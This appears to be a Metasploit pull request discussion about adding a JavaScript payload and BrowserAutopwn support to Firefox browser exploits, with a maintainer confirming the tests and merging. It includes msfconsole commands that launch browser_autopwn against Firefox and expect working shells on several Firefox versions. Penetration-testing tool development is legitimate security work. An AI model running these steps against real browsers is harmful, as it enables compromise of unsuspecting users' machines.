Add js payload to firefox_svg_plugin, add BrowserAutopwn support to both FF JS exploits

[jvennix-r7]

By defaulting to the JS shell, the firefox js exploits can now work well with autopwn.

msf> use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > set MATCH firefox
msf auxiliary(browser_autopwn) > set LHOST 0.0.0.0
msf auxiliary(browser_autopwn) > run

• You should get a working shell from a firefox 5.*-15.0.1 instance
• You should be able to run post/firefox/gather/xss module against this session (default opts are fine)
• You should get a working shell from a firefox 17.* instance
• You should be able to run post/firefox/gather/xss module against this session (default opts are fine)

[wchen-r7]

I still have the FF setup, I'll handle it. Thanks.

[wchen-r7]

All work fine. Merging. Thanks.